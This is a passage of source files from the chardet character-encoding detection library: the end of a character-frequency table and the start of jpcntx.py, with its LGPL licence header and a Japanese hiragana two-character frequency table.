1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952 1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968 1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984 1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032 1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048 2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064 2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080 2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096 3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112 3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144 3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160 1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, # 2176 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192 2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208 1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240 3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256 4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272 2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288 1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304 2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320 1075, 292,3818,1756,2602, 317, 98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368 1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384 2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400 2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416 2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432 3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448 1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464 2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528 1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, # 2544 2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576 1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592 1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624 1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640 1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656 1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688 2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720 2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736 3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752 2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768 1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784 6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, # 2800 1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816 2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832 1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880 3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896 3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912 1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928 1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944 1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960 1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008 2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040 3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056 2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088 1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104 2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136 1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168 4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184 2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200 1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232 1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248 2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280 6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296 1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312 1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328 2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344 3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376 3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392 1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424 1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456 3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488 2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520 4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536 2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552 1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568 1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584 1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616 1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632 3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648 1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664 3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728 2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744 1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776 1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808 1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, # 3872 1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888 1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904 2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920 4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, # 3952 1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984 1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000 3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016 1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032 2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048 2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064 1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080 1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096 2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128 2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144 1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160 1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176 1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, # 4192 1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208 3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224 2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240 2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272 3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288 3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304 1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320 2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 ) ================================================ FILE: thirdparty/chardet/jpcntx.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # This is hiragana 2-char sequence table, the number in each cell represents its frequency category jp2CharContext = ( (0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1), (2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4), (0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2), (0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4), (1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4), (0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3), (0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3), (0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3), (0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4), (0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3), (2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4), (0,2,0,1,0,3,1,3,0,2,3,3,3,0,3,1,0,0,3,0,3,2,3,1,3,2,1,1,0,0,4,2,1,0,2,3,1,4,3,2,0,4,4,3,1,3,1,3,0,1,0,0,1,0,0,0,1,0,0,0,0,4,1,1,1,2,0,3,0,0,0,3,4,2,4,3,2,0,1,0,0,3,3), (0,1,0,4,0,5,0,4,0,2,4,4,2,3,3,2,3,3,5,3,3,3,4,3,4,2,3,0,4,3,3,3,4,1,4,3,2,1,5,5,3,4,5,1,3,5,4,2,0,3,3,0,1,3,0,4,2,0,1,3,1,4,3,3,3,3,0,3,0,1,0,3,4,4,4,5,5,0,3,0,1,4,5), (0,2,0,3,0,3,0,0,0,2,3,1,3,0,4,0,1,1,3,0,3,4,3,2,3,1,0,3,3,2,3,1,3,0,2,3,0,2,1,4,1,2,2,0,0,3,3,0,0,2,0,0,0,1,0,0,0,0,2,2,0,3,2,1,3,3,0,2,0,2,0,0,3,3,1,2,4,0,3,0,2,2,3), (2,4,0,5,0,4,0,4,0,2,4,4,4,3,4,3,3,3,1,2,4,3,4,3,4,4,5,0,3,3,3,3,2,0,4,3,1,4,3,4,1,4,4,3,3,4,4,3,1,2,3,0,4,2,0,4,1,0,3,3,0,4,3,3,3,4,0,4,0,2,0,3,5,3,4,5,2,0,3,0,0,4,5), (0,3,0,4,0,1,0,1,0,1,3,2,2,1,3,0,3,0,2,0,2,0,3,0,2,0,0,0,1,0,1,1,0,0,3,1,0,0,0,4,0,3,1,0,2,1,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,2,2,3,1,0,3,0,0,0,1,4,4,4,3,0,0,4,0,0,1,4), (1,4,1,5,0,3,0,3,0,4,5,4,4,3,5,3,3,4,4,3,4,1,3,3,3,3,2,1,4,1,5,4,3,1,4,4,3,5,4,4,3,5,4,3,3,4,4,4,0,3,3,1,2,3,0,3,1,0,3,3,0,5,4,4,4,4,4,4,3,3,5,4,4,3,3,5,4,0,3,2,0,4,4), (0,2,0,3,0,1,0,0,0,1,3,3,3,2,4,1,3,0,3,1,3,0,2,2,1,1,0,0,2,0,4,3,1,0,4,3,0,4,4,4,1,4,3,1,1,3,3,1,0,2,0,0,1,3,0,0,0,0,2,0,0,4,3,2,4,3,5,4,3,3,3,4,3,3,4,3,3,0,2,1,0,3,3), (0,2,0,4,0,3,0,2,0,2,5,5,3,4,4,4,4,1,4,3,3,0,4,3,4,3,1,3,3,2,4,3,0,3,4,3,0,3,4,4,2,4,4,0,4,5,3,3,2,2,1,1,1,2,0,1,5,0,3,3,2,4,3,3,3,4,0,3,0,2,0,4,4,3,5,5,0,0,3,0,2,3,3), (0,3,0,4,0,3,0,1,0,3,4,3,3,1,3,3,3,0,3,1,3,0,4,3,3,1,1,0,3,0,3,3,0,0,4,4,0,1,5,4,3,3,5,0,3,3,4,3,0,2,0,1,1,1,0,1,3,0,1,2,1,3,3,2,3,3,0,3,0,1,0,1,3,3,4,4,1,0,1,2,2,1,3), (0,1,0,4,0,4,0,3,0,1,3,3,3,2,3,1,1,0,3,0,3,3,4,3,2,4,2,0,1,0,4,3,2,0,4,3,0,5,3,3,2,4,4,4,3,3,3,4,0,1,3,0,0,1,0,0,1,0,0,0,0,4,2,3,3,3,0,3,0,0,0,4,4,4,5,3,2,0,3,3,0,3,5), (0,2,0,3,0,0,0,3,0,1,3,0,2,0,0,0,1,0,3,1,1,3,3,0,0,3,0,0,3,0,2,3,1,0,3,1,0,3,3,2,0,4,2,2,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,2,1,2,0,1,0,1,0,0,0,1,3,1,2,0,0,0,1,0,0,1,4), (0,3,0,3,0,5,0,1,0,2,4,3,1,3,3,2,1,1,5,2,1,0,5,1,2,0,0,0,3,3,2,2,3,2,4,3,0,0,3,3,1,3,3,0,2,5,3,4,0,3,3,0,1,2,0,2,2,0,3,2,0,2,2,3,3,3,0,2,0,1,0,3,4,4,2,5,4,0,3,0,0,3,5), (0,3,0,3,0,3,0,1,0,3,3,3,3,0,3,0,2,0,2,1,1,0,2,0,1,0,0,0,2,1,0,0,1,0,3,2,0,0,3,3,1,2,3,1,0,3,3,0,0,1,0,0,0,0,0,2,0,0,0,0,0,2,3,1,2,3,0,3,0,1,0,3,2,1,0,4,3,0,1,1,0,3,3), (0,4,0,5,0,3,0,3,0,4,5,5,4,3,5,3,4,3,5,3,3,2,5,3,4,4,4,3,4,3,4,5,5,3,4,4,3,4,4,5,4,4,4,3,4,5,5,4,2,3,4,2,3,4,0,3,3,1,4,3,2,4,3,3,5,5,0,3,0,3,0,5,5,5,5,4,4,0,4,0,1,4,4), (0,4,0,4,0,3,0,3,0,3,5,4,4,2,3,2,5,1,3,2,5,1,4,2,3,2,3,3,4,3,3,3,3,2,5,4,1,3,3,5,3,4,4,0,4,4,3,1,1,3,1,0,2,3,0,2,3,0,3,0,0,4,3,1,3,4,0,3,0,2,0,4,4,4,3,4,5,0,4,0,0,3,4), (0,3,0,3,0,3,1,2,0,3,4,4,3,3,3,0,2,2,4,3,3,1,3,3,3,1,1,0,3,1,4,3,2,3,4,4,2,4,4,4,3,4,4,3,2,4,4,3,1,3,3,1,3,3,0,4,1,0,2,2,1,4,3,2,3,3,5,4,3,3,5,4,4,3,3,0,4,0,3,2,2,4,4), (0,2,0,1,0,0,0,0,0,1,2,1,3,0,0,0,0,0,2,0,1,2,1,0,0,1,0,0,0,0,3,0,0,1,0,1,1,3,1,0,0,0,1,1,0,1,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,1,2,2,0,3,4,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1), (0,1,0,0,0,1,0,0,0,0,4,0,4,1,4,0,3,0,4,0,3,0,4,0,3,0,3,0,4,1,5,1,4,0,0,3,0,5,0,5,2,0,1,0,0,0,2,1,4,0,1,3,0,0,3,0,0,3,1,1,4,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0), (1,4,0,5,0,3,0,2,0,3,5,4,4,3,4,3,5,3,4,3,3,0,4,3,3,3,3,3,3,2,4,4,3,1,3,4,4,5,4,4,3,4,4,1,3,5,4,3,3,3,1,2,2,3,3,1,3,1,3,3,3,5,3,3,4,5,0,3,0,3,0,3,4,3,4,4,3,0,3,0,2,4,3), (0,1,0,4,0,0,0,0,0,1,4,0,4,1,4,2,4,0,3,0,1,0,1,0,0,0,0,0,2,0,3,1,1,1,0,3,0,0,0,1,2,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,3,0,0,0,0,3,2,0,2,2,0,1,0,0,0,2,3,2,3,3,0,0,0,0,2,1,0), (0,5,1,5,0,3,0,3,0,5,4,4,5,1,5,3,3,0,4,3,4,3,5,3,4,3,3,2,4,3,4,3,3,0,3,3,1,4,4,3,4,4,4,3,4,5,5,3,2,3,1,1,3,3,1,3,1,1,3,3,2,4,5,3,3,5,0,4,0,3,0,4,4,3,5,3,3,0,3,4,0,4,3), 